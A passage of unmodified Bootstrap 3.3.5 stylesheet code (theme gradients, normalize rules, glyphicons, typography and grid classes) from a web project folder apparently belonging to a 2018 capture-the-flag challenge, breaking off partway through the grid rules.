progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); background-repeat: repeat-x; } .panel-success > .panel-heading { background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6)); background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); background-repeat: repeat-x; } .panel-info > .panel-heading { background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3)); background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); background-repeat: repeat-x; } .panel-warning > .panel-heading { background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc)); background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); background-repeat: repeat-x; } .panel-danger > .panel-heading { background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%); background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc)); background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); background-repeat: repeat-x; } .well { background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5)); background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); background-repeat: repeat-x; border-color: #dcdcdc; -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); } /*# sourceMappingURL=bootstrap-theme.css.map */ ================================================ FILE: web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/css/bootstrap.css ================================================ /*! * Bootstrap v3.3.5 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ /*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */ html { font-family: sans-serif; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } body { margin: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; } audio, canvas, progress, video { display: inline-block; vertical-align: baseline; } audio:not([controls]) { display: none; height: 0; } [hidden], template { display: none; } a { background-color: transparent; } a:active, a:hover { outline: 0; } abbr[title] { border-bottom: 1px dotted; } b, strong { font-weight: bold; } dfn { font-style: italic; } h1 { margin: .67em 0; font-size: 2em; } mark { color: #000; background: #ff0; } small { font-size: 80%; } sub, sup { position: relative; font-size: 75%; line-height: 0; vertical-align: baseline; } sup { top: -.5em; } sub { bottom: -.25em; } img { border: 0; } svg:not(:root) { overflow: hidden; } figure { margin: 1em 40px; } hr { height: 0; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } pre { overflow: auto; } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } button, input, optgroup, select, textarea { margin: 0; font: inherit; color: inherit; } button { overflow: visible; } button, select { text-transform: none; } button, html input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; cursor: pointer; } button[disabled], html input[disabled] { cursor: default; } button::-moz-focus-inner, input::-moz-focus-inner { padding: 0; border: 0; } input { line-height: normal; } input[type="checkbox"], input[type="radio"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 0; } input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } input[type="search"] { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; -webkit-appearance: textfield; } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } fieldset { padding: .35em .625em .75em; margin: 0 2px; border: 1px solid #c0c0c0; } legend { padding: 0; border: 0; } textarea { overflow: auto; } optgroup { font-weight: bold; } table { border-spacing: 0; border-collapse: collapse; } td, th { padding: 0; } /*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */ @media print { *, *:before, *:after { color: #000 !important; text-shadow: none !important; background: transparent !important; -webkit-box-shadow: none !important; box-shadow: none !important; } a, a:visited { text-decoration: underline; } a[href]:after { content: " (" attr(href) ")"; } abbr[title]:after { content: " (" attr(title) ")"; } a[href^="#"]:after, a[href^="javascript:"]:after { content: ""; } pre, blockquote { border: 1px solid #999; page-break-inside: avoid; } thead { display: table-header-group; } tr, img { page-break-inside: avoid; } img { max-width: 100% !important; } p, h2, h3 { orphans: 3; widows: 3; } h2, h3 { page-break-after: avoid; } .navbar { display: none; } .btn > .caret, .dropup > .btn > .caret { border-top-color: #000 !important; } .label { border: 1px solid #000; } .table { border-collapse: collapse !important; } .table td, .table th { background-color: #fff !important; } .table-bordered th, .table-bordered td { border: 1px solid #ddd !important; } } @font-face { font-family: 'Glyphicons Halflings'; src: url('../fonts/glyphicons-halflings-regular.eot'); src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); } .glyphicon { position: relative; top: 1px; display: inline-block; font-family: 'Glyphicons Halflings'; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .glyphicon-asterisk:before { content: "\2a"; } .glyphicon-plus:before { content: "\2b"; } .glyphicon-euro:before, .glyphicon-eur:before { content: "\20ac"; } .glyphicon-minus:before { content: "\2212"; } .glyphicon-cloud:before { content: "\2601"; } .glyphicon-envelope:before { content: "\2709"; } .glyphicon-pencil:before { content: "\270f"; } .glyphicon-glass:before { content: "\e001"; } .glyphicon-music:before { content: "\e002"; } .glyphicon-search:before { content: "\e003"; } .glyphicon-heart:before { content: "\e005"; } .glyphicon-star:before { content: "\e006"; } .glyphicon-star-empty:before { content: "\e007"; } .glyphicon-user:before { content: "\e008"; } .glyphicon-film:before { content: "\e009"; } .glyphicon-th-large:before { content: "\e010"; } .glyphicon-th:before { content: "\e011"; } .glyphicon-th-list:before { content: "\e012"; } .glyphicon-ok:before { content: "\e013"; } .glyphicon-remove:before { content: "\e014"; } .glyphicon-zoom-in:before { content: "\e015"; } .glyphicon-zoom-out:before { content: "\e016"; } .glyphicon-off:before { content: "\e017"; } .glyphicon-signal:before { content: "\e018"; } .glyphicon-cog:before { content: "\e019"; } .glyphicon-trash:before { content: "\e020"; } .glyphicon-home:before { content: "\e021"; } .glyphicon-file:before { content: "\e022"; } .glyphicon-time:before { content: "\e023"; } .glyphicon-road:before { content: "\e024"; } .glyphicon-download-alt:before { content: "\e025"; } .glyphicon-download:before { content: "\e026"; } .glyphicon-upload:before { content: "\e027"; } .glyphicon-inbox:before { content: "\e028"; } .glyphicon-play-circle:before { content: "\e029"; } .glyphicon-repeat:before { content: "\e030"; } .glyphicon-refresh:before { content: "\e031"; } .glyphicon-list-alt:before { content: "\e032"; } .glyphicon-lock:before { content: "\e033"; } .glyphicon-flag:before { content: "\e034"; } .glyphicon-headphones:before { content: "\e035"; } .glyphicon-volume-off:before { content: "\e036"; } .glyphicon-volume-down:before { content: "\e037"; } .glyphicon-volume-up:before { content: "\e038"; } .glyphicon-qrcode:before { content: "\e039"; } .glyphicon-barcode:before { content: "\e040"; } .glyphicon-tag:before { content: "\e041"; } .glyphicon-tags:before { content: "\e042"; } .glyphicon-book:before { content: "\e043"; } .glyphicon-bookmark:before { content: "\e044"; } .glyphicon-print:before { content: "\e045"; } .glyphicon-camera:before { content: "\e046"; } .glyphicon-font:before { content: "\e047"; } .glyphicon-bold:before { content: "\e048"; } .glyphicon-italic:before { content: "\e049"; } .glyphicon-text-height:before { content: "\e050"; } .glyphicon-text-width:before { content: "\e051"; } .glyphicon-align-left:before { content: "\e052"; } .glyphicon-align-center:before { content: "\e053"; } .glyphicon-align-right:before { content: "\e054"; } .glyphicon-align-justify:before { content: "\e055"; } .glyphicon-list:before { content: "\e056"; } .glyphicon-indent-left:before { content: "\e057"; } .glyphicon-indent-right:before { content: "\e058"; } .glyphicon-facetime-video:before { content: "\e059"; } .glyphicon-picture:before { content: "\e060"; } .glyphicon-map-marker:before { content: "\e062"; } .glyphicon-adjust:before { content: "\e063"; } .glyphicon-tint:before { content: "\e064"; } .glyphicon-edit:before { content: "\e065"; } .glyphicon-share:before { content: "\e066"; } .glyphicon-check:before { content: "\e067"; } .glyphicon-move:before { content: "\e068"; } .glyphicon-step-backward:before { content: "\e069"; } .glyphicon-fast-backward:before { content: "\e070"; } .glyphicon-backward:before { content: "\e071"; } .glyphicon-play:before { content: "\e072"; } .glyphicon-pause:before { content: "\e073"; } .glyphicon-stop:before { content: "\e074"; } .glyphicon-forward:before { content: "\e075"; } .glyphicon-fast-forward:before { content: "\e076"; } .glyphicon-step-forward:before { content: "\e077"; } .glyphicon-eject:before { content: "\e078"; } .glyphicon-chevron-left:before { content: "\e079"; } .glyphicon-chevron-right:before { content: "\e080"; } .glyphicon-plus-sign:before { content: "\e081"; } .glyphicon-minus-sign:before { content: "\e082"; } .glyphicon-remove-sign:before { content: "\e083"; } .glyphicon-ok-sign:before { content: "\e084"; } .glyphicon-question-sign:before { content: "\e085"; } .glyphicon-info-sign:before { content: "\e086"; } .glyphicon-screenshot:before { content: "\e087"; } .glyphicon-remove-circle:before { content: "\e088"; } .glyphicon-ok-circle:before { content: "\e089"; } .glyphicon-ban-circle:before { content: "\e090"; } .glyphicon-arrow-left:before { content: "\e091"; } .glyphicon-arrow-right:before { content: "\e092"; } .glyphicon-arrow-up:before { content: "\e093"; } .glyphicon-arrow-down:before { content: "\e094"; } .glyphicon-share-alt:before { content: "\e095"; } .glyphicon-resize-full:before { content: "\e096"; } .glyphicon-resize-small:before { content: "\e097"; } .glyphicon-exclamation-sign:before { content: "\e101"; } .glyphicon-gift:before { content: "\e102"; } .glyphicon-leaf:before { content: "\e103"; } .glyphicon-fire:before { content: "\e104"; } .glyphicon-eye-open:before { content: "\e105"; } .glyphicon-eye-close:before { content: "\e106"; } .glyphicon-warning-sign:before { content: "\e107"; } .glyphicon-plane:before { content: "\e108"; } .glyphicon-calendar:before { content: "\e109"; } .glyphicon-random:before { content: "\e110"; } .glyphicon-comment:before { content: "\e111"; } .glyphicon-magnet:before { content: "\e112"; } .glyphicon-chevron-up:before { content: "\e113"; } .glyphicon-chevron-down:before { content: "\e114"; } .glyphicon-retweet:before { content: "\e115"; } .glyphicon-shopping-cart:before { content: "\e116"; } .glyphicon-folder-close:before { content: "\e117"; } .glyphicon-folder-open:before { content: "\e118"; } .glyphicon-resize-vertical:before { content: "\e119"; } .glyphicon-resize-horizontal:before { content: "\e120"; } .glyphicon-hdd:before { content: "\e121"; } .glyphicon-bullhorn:before { content: "\e122"; } .glyphicon-bell:before { content: "\e123"; } .glyphicon-certificate:before { content: "\e124"; } .glyphicon-thumbs-up:before { content: "\e125"; } .glyphicon-thumbs-down:before { content: "\e126"; } .glyphicon-hand-right:before { content: "\e127"; } .glyphicon-hand-left:before { content: "\e128"; } .glyphicon-hand-up:before { content: "\e129"; } .glyphicon-hand-down:before { content: "\e130"; } .glyphicon-circle-arrow-right:before { content: "\e131"; } .glyphicon-circle-arrow-left:before { content: "\e132"; } .glyphicon-circle-arrow-up:before { content: "\e133"; } .glyphicon-circle-arrow-down:before { content: "\e134"; } .glyphicon-globe:before { content: "\e135"; } .glyphicon-wrench:before { content: "\e136"; } .glyphicon-tasks:before { content: "\e137"; } .glyphicon-filter:before { content: "\e138"; } .glyphicon-briefcase:before { content: "\e139"; } .glyphicon-fullscreen:before { content: "\e140"; } .glyphicon-dashboard:before { content: "\e141"; } .glyphicon-paperclip:before { content: "\e142"; } .glyphicon-heart-empty:before { content: "\e143"; } .glyphicon-link:before { content: "\e144"; } .glyphicon-phone:before { content: "\e145"; } .glyphicon-pushpin:before { content: "\e146"; } .glyphicon-usd:before { content: "\e148"; } .glyphicon-gbp:before { content: "\e149"; } .glyphicon-sort:before { content: "\e150"; } .glyphicon-sort-by-alphabet:before { content: "\e151"; } .glyphicon-sort-by-alphabet-alt:before { content: "\e152"; } .glyphicon-sort-by-order:before { content: "\e153"; } .glyphicon-sort-by-order-alt:before { content: "\e154"; } .glyphicon-sort-by-attributes:before { content: "\e155"; } .glyphicon-sort-by-attributes-alt:before { content: "\e156"; } .glyphicon-unchecked:before { content: "\e157"; } .glyphicon-expand:before { content: "\e158"; } .glyphicon-collapse-down:before { content: "\e159"; } .glyphicon-collapse-up:before { content: "\e160"; } .glyphicon-log-in:before { content: "\e161"; } .glyphicon-flash:before { content: "\e162"; } .glyphicon-log-out:before { content: "\e163"; } .glyphicon-new-window:before { content: "\e164"; } .glyphicon-record:before { content: "\e165"; } .glyphicon-save:before { content: "\e166"; } .glyphicon-open:before { content: "\e167"; } .glyphicon-saved:before { content: "\e168"; } .glyphicon-import:before { content: "\e169"; } .glyphicon-export:before { content: "\e170"; } .glyphicon-send:before { content: "\e171"; } .glyphicon-floppy-disk:before { content: "\e172"; } .glyphicon-floppy-saved:before { content: "\e173"; } .glyphicon-floppy-remove:before { content: "\e174"; } .glyphicon-floppy-save:before { content: "\e175"; } .glyphicon-floppy-open:before { content: "\e176"; } .glyphicon-credit-card:before { content: "\e177"; } .glyphicon-transfer:before { content: "\e178"; } .glyphicon-cutlery:before { content: "\e179"; } .glyphicon-header:before { content: "\e180"; } .glyphicon-compressed:before { content: "\e181"; } .glyphicon-earphone:before { content: "\e182"; } .glyphicon-phone-alt:before { content: "\e183"; } .glyphicon-tower:before { content: "\e184"; } .glyphicon-stats:before { content: "\e185"; } .glyphicon-sd-video:before { content: "\e186"; } .glyphicon-hd-video:before { content: "\e187"; } .glyphicon-subtitles:before { content: "\e188"; } .glyphicon-sound-stereo:before { content: "\e189"; } .glyphicon-sound-dolby:before { content: "\e190"; } .glyphicon-sound-5-1:before { content: "\e191"; } .glyphicon-sound-6-1:before { content: "\e192"; } .glyphicon-sound-7-1:before { content: "\e193"; } .glyphicon-copyright-mark:before { content: "\e194"; } .glyphicon-registration-mark:before { content: "\e195"; } .glyphicon-cloud-download:before { content: "\e197"; } .glyphicon-cloud-upload:before { content: "\e198"; } .glyphicon-tree-conifer:before { content: "\e199"; } .glyphicon-tree-deciduous:before { content: "\e200"; } .glyphicon-cd:before { content: "\e201"; } .glyphicon-save-file:before { content: "\e202"; } .glyphicon-open-file:before { content: "\e203"; } .glyphicon-level-up:before { content: "\e204"; } .glyphicon-copy:before { content: "\e205"; } .glyphicon-paste:before { content: "\e206"; } .glyphicon-alert:before { content: "\e209"; } .glyphicon-equalizer:before { content: "\e210"; } .glyphicon-king:before { content: "\e211"; } .glyphicon-queen:before { content: "\e212"; } .glyphicon-pawn:before { content: "\e213"; } .glyphicon-bishop:before { content: "\e214"; } .glyphicon-knight:before { content: "\e215"; } .glyphicon-baby-formula:before { content: "\e216"; } .glyphicon-tent:before { content: "\26fa"; } .glyphicon-blackboard:before { content: "\e218"; } .glyphicon-bed:before { content: "\e219"; } .glyphicon-apple:before { content: "\f8ff"; } .glyphicon-erase:before { content: "\e221"; } .glyphicon-hourglass:before { content: "\231b"; } .glyphicon-lamp:before { content: "\e223"; } .glyphicon-duplicate:before { content: "\e224"; } .glyphicon-piggy-bank:before { content: "\e225"; } .glyphicon-scissors:before { content: "\e226"; } .glyphicon-bitcoin:before { content: "\e227"; } .glyphicon-btc:before { content: "\e227"; } .glyphicon-xbt:before { content: "\e227"; } .glyphicon-yen:before { content: "\00a5"; } .glyphicon-jpy:before { content: "\00a5"; } .glyphicon-ruble:before { content: "\20bd"; } .glyphicon-rub:before { content: "\20bd"; } .glyphicon-scale:before { content: "\e230"; } .glyphicon-ice-lolly:before { content: "\e231"; } .glyphicon-ice-lolly-tasted:before { content: "\e232"; } .glyphicon-education:before { content: "\e233"; } .glyphicon-option-horizontal:before { content: "\e234"; } .glyphicon-option-vertical:before { content: "\e235"; } .glyphicon-menu-hamburger:before { content: "\e236"; } .glyphicon-modal-window:before { content: "\e237"; } .glyphicon-oil:before { content: "\e238"; } .glyphicon-grain:before { content: "\e239"; } .glyphicon-sunglasses:before { content: "\e240"; } .glyphicon-text-size:before { content: "\e241"; } .glyphicon-text-color:before { content: "\e242"; } .glyphicon-text-background:before { content: "\e243"; } .glyphicon-object-align-top:before { content: "\e244"; } .glyphicon-object-align-bottom:before { content: "\e245"; } .glyphicon-object-align-horizontal:before { content: "\e246"; } .glyphicon-object-align-left:before { content: "\e247"; } .glyphicon-object-align-vertical:before { content: "\e248"; } .glyphicon-object-align-right:before { content: "\e249"; } .glyphicon-triangle-right:before { content: "\e250"; } .glyphicon-triangle-left:before { content: "\e251"; } .glyphicon-triangle-bottom:before { content: "\e252"; } .glyphicon-triangle-top:before { content: "\e253"; } .glyphicon-console:before { content: "\e254"; } .glyphicon-superscript:before { content: "\e255"; } .glyphicon-subscript:before { content: "\e256"; } .glyphicon-menu-left:before { content: "\e257"; } .glyphicon-menu-right:before { content: "\e258"; } .glyphicon-menu-down:before { content: "\e259"; } .glyphicon-menu-up:before { content: "\e260"; } * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } *:before, *:after { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } html { font-size: 10px; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.42857143; color: #333; background-color: #fff; } input, button, select, textarea { font-family: inherit; font-size: inherit; line-height: inherit; } a { color: #337ab7; text-decoration: none; } a:hover, a:focus { color: #23527c; text-decoration: underline; } a:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } figure { margin: 0; } img { vertical-align: middle; } .img-responsive, .thumbnail > img, .thumbnail a > img, .carousel-inner > .item > img, .carousel-inner > .item > a > img { display: block; max-width: 100%; height: auto; } .img-rounded { border-radius: 6px; } .img-thumbnail { display: inline-block; max-width: 100%; height: auto; padding: 4px; line-height: 1.42857143; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: all .2s ease-in-out; -o-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } .img-circle { border-radius: 50%; } hr { margin-top: 20px; margin-bottom: 20px; border: 0; border-top: 1px solid #eee; } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } .sr-only-focusable:active, .sr-only-focusable:focus { position: static; width: auto; height: auto; margin: 0; overflow: visible; clip: auto; } [role="button"] { cursor: pointer; } h1, h2, h3, h4, h5, h6, .h1, .h2, .h3, .h4, .h5, .h6 { font-family: inherit; font-weight: 500; line-height: 1.1; color: inherit; } h1 small, h2 small, h3 small, h4 small, h5 small, h6 small, .h1 small, .h2 small, .h3 small, .h4 small, .h5 small, .h6 small, h1 .small, h2 .small, h3 .small, h4 .small, h5 .small, h6 .small, .h1 .small, .h2 .small, .h3 .small, .h4 .small, .h5 .small, .h6 .small { font-weight: normal; line-height: 1; color: #777; } h1, .h1, h2, .h2, h3, .h3 { margin-top: 20px; margin-bottom: 10px; } h1 small, .h1 small, h2 small, .h2 small, h3 small, .h3 small, h1 .small, .h1 .small, h2 .small, .h2 .small, h3 .small, .h3 .small { font-size: 65%; } h4, .h4, h5, .h5, h6, .h6 { margin-top: 10px; margin-bottom: 10px; } h4 small, .h4 small, h5 small, .h5 small, h6 small, .h6 small, h4 .small, .h4 .small, h5 .small, .h5 .small, h6 .small, .h6 .small { font-size: 75%; } h1, .h1 { font-size: 36px; } h2, .h2 { font-size: 30px; } h3, .h3 { font-size: 24px; } h4, .h4 { font-size: 18px; } h5, .h5 { font-size: 14px; } h6, .h6 { font-size: 12px; } p { margin: 0 0 10px; } .lead { margin-bottom: 20px; font-size: 16px; font-weight: 300; line-height: 1.4; } @media (min-width: 768px) { .lead { font-size: 21px; } } small, .small { font-size: 85%; } mark, .mark { padding: .2em; background-color: #fcf8e3; } .text-left { text-align: left; } .text-right { text-align: right; } .text-center { text-align: center; } .text-justify { text-align: justify; } .text-nowrap { white-space: nowrap; } .text-lowercase { text-transform: lowercase; } .text-uppercase { text-transform: uppercase; } .text-capitalize { text-transform: capitalize; } .text-muted { color: #777; } .text-primary { color: #337ab7; } a.text-primary:hover, a.text-primary:focus { color: #286090; } .text-success { color: #3c763d; } a.text-success:hover, a.text-success:focus { color: #2b542c; } .text-info { color: #31708f; } a.text-info:hover, a.text-info:focus { color: #245269; } .text-warning { color: #8a6d3b; } a.text-warning:hover, a.text-warning:focus { color: #66512c; } .text-danger { color: #a94442; } a.text-danger:hover, a.text-danger:focus { color: #843534; } .bg-primary { color: #fff; background-color: #337ab7; } a.bg-primary:hover, a.bg-primary:focus { background-color: #286090; } .bg-success { background-color: #dff0d8; } a.bg-success:hover, a.bg-success:focus { background-color: #c1e2b3; } .bg-info { background-color: #d9edf7; } a.bg-info:hover, a.bg-info:focus { background-color: #afd9ee; } .bg-warning { background-color: #fcf8e3; } a.bg-warning:hover, a.bg-warning:focus { background-color: #f7ecb5; } .bg-danger { background-color: #f2dede; } a.bg-danger:hover, a.bg-danger:focus { background-color: #e4b9b9; } .page-header { padding-bottom: 9px; margin: 40px 0 20px; border-bottom: 1px solid #eee; } ul, ol { margin-top: 0; margin-bottom: 10px; } ul ul, ol ul, ul ol, ol ol { margin-bottom: 0; } .list-unstyled { padding-left: 0; list-style: none; } .list-inline { padding-left: 0; margin-left: -5px; list-style: none; } .list-inline > li { display: inline-block; padding-right: 5px; padding-left: 5px; } dl { margin-top: 0; margin-bottom: 20px; } dt, dd { line-height: 1.42857143; } dt { font-weight: bold; } dd { margin-left: 0; } @media (min-width: 768px) { .dl-horizontal dt { float: left; width: 160px; overflow: hidden; clear: left; text-align: right; text-overflow: ellipsis; white-space: nowrap; } .dl-horizontal dd { margin-left: 180px; } } abbr[title], abbr[data-original-title] { cursor: help; border-bottom: 1px dotted #777; } .initialism { font-size: 90%; text-transform: uppercase; } blockquote { padding: 10px 20px; margin: 0 0 20px; font-size: 17.5px; border-left: 5px solid #eee; } blockquote p:last-child, blockquote ul:last-child, blockquote ol:last-child { margin-bottom: 0; } blockquote footer, blockquote small, blockquote .small { display: block; font-size: 80%; line-height: 1.42857143; color: #777; } blockquote footer:before, blockquote small:before, blockquote .small:before { content: '\2014 \00A0'; } .blockquote-reverse, blockquote.pull-right { padding-right: 15px; padding-left: 0; text-align: right; border-right: 5px solid #eee; border-left: 0; } .blockquote-reverse footer:before, blockquote.pull-right footer:before, .blockquote-reverse small:before, blockquote.pull-right small:before, .blockquote-reverse .small:before, blockquote.pull-right .small:before { content: ''; } .blockquote-reverse footer:after, blockquote.pull-right footer:after, .blockquote-reverse small:after, blockquote.pull-right small:after, .blockquote-reverse .small:after, blockquote.pull-right .small:after { content: '\00A0 \2014'; } address { margin-bottom: 20px; font-style: normal; line-height: 1.42857143; } code, kbd, pre, samp { font-family: Menlo, Monaco, Consolas, "Courier New", monospace; } code { padding: 2px 4px; font-size: 90%; color: #c7254e; background-color: #f9f2f4; border-radius: 4px; } kbd { padding: 2px 4px; font-size: 90%; color: #fff; background-color: #333; border-radius: 3px; -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); } kbd kbd { padding: 0; font-size: 100%; font-weight: bold; -webkit-box-shadow: none; box-shadow: none; } pre { display: block; padding: 9.5px; margin: 0 0 10px; font-size: 13px; line-height: 1.42857143; color: #333; word-break: break-all; word-wrap: break-word; background-color: #f5f5f5; border: 1px solid #ccc; border-radius: 4px; } pre code { padding: 0; font-size: inherit; color: inherit; white-space: pre-wrap; background-color: transparent; border-radius: 0; } .pre-scrollable { max-height: 340px; overflow-y: scroll; } .container { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } @media (min-width: 768px) { .container { width: 750px; } } @media (min-width: 992px) { .container { width: 970px; } } @media (min-width: 1200px) { .container { width: 1170px; } } .container-fluid { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } .row { margin-right: -15px; margin-left: -15px; } .col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } .col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { float: left; } .col-xs-12 { width: 100%; } .col-xs-11 { width: 91.66666667%; } .col-xs-10 { width: 83.33333333%; } .col-xs-9 { width: 75%; } .col-xs-8 { width: 66.66666667%; } .col-xs-7 { width: 58.33333333%; } .col-xs-6 { width: 50%; } .col-xs-5 { width: 41.66666667%; } .col-xs-4 { width: 33.33333333%; } .col-xs-3 { width: 25%; } .col-xs-2 { width: 16.66666667%; } .col-xs-1 { width: 8.33333333%; } .col-xs-pull-12 { right: 100%; } .col-xs-pull-11 { right: 91.66666667%; } .col-xs-pull-10 { right: 83.33333333%; } .col-xs-pull-9 { right: 75%; } .col-xs-pull-8 { right: 66.66666667%; } .col-xs-pull-7 { right: 58.33333333%; } .col-xs-pull-6 { right: 50%; } .col-xs-pull-5 { right: 41.66666667%; } .col-xs-pull-4 { right: 33.33333333%; } .col-xs-pull-3 { right: 25%; } .col-xs-pull-2 { right: 16.66666667%; } .col-xs-pull-1 { right: 8.33333333%; } .col-xs-pull-0 { right: auto; } .col-xs-push-12 { left: 100%; } .col-xs-push-11 { left: 91.66666667%; } .col-xs-push-10 { left: 83.33333333%; } .col-xs-push-9 { left: 75%; } .col-xs-push-8 { left: 66.66666667%; } .col-xs-push-7 { left: 58.33333333%; } .col-xs-push-6 { left: 50%; } .col-xs-push-5 { left: 41.66666667%; } .col-xs-push-4 { left: 33.33333333%; } .col-xs-push-3 { left: 25%; } .col-xs-push-2 { left: 16.66666667%; } .col-xs-push-1 { left: 8.33333333%; } .col-xs-push-0 { left: auto; } .col-xs-offset-12 { margin-left: 100%; } .col-xs-offset-11 { margin-left: 91.66666667%; } .col-xs-offset-10 { margin-left: 83.33333333%; } .col-xs-offset-9 { margin-left: 75%; } .col-xs-offset-8 { margin-left: 66.66666667%; } .col-xs-offset-7 { margin-left: 58.33333333%; } .col-xs-offset-6 { margin-left: 50%; } .col-xs-offset-5 { margin-left: 41.66666667%; } .col-xs-offset-4 { margin-left: 33.33333333%; } .col-xs-offset-3 { margin-left: 25%; } .col-xs-offset-2 { margin-left: 16.66666667%; } .col-xs-offset-1 { margin-left: 8.33333333%; } .col-xs-offset-0 { margin-left: 0; } @media (min-width: 768px) { .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { float: left; } .col-sm-12 { width: 100%; } .col-sm-11 { width: 91.66666667%; } .col-sm-10 { width: 83.33333333%; } .col-sm-9 { width: 75%; } .col-sm-8 { width: 66.66666667%; } .col-sm-7 { width: 58.33333333%; } .col-sm-6 { width: 50%; } .col-sm-5 { width: 41.66666667%; } .col-sm-4 { width: 33.33333333%; } .col-sm-3 { width: 25%; } .col-sm-2 { width: 16.66666667%; } .col-sm-1 { width: 8.33333333%; } .col-sm-pull-12 { right: 100%; } .col-sm-pull-11 { right: 91.66666667%; } .col-sm-pull-10 { right: 83.33333333%; } .col-sm-pull-9 { right: 75%; } .col-sm-pull-8 { right: 66.66666667%; } .col-sm-pull-7 { right: 58.33333333%; } .col-sm-pull-6 { right: 50%; } .col-sm-pull-5 { right: 41.66666667%; } .col-sm-pull-4 { right: 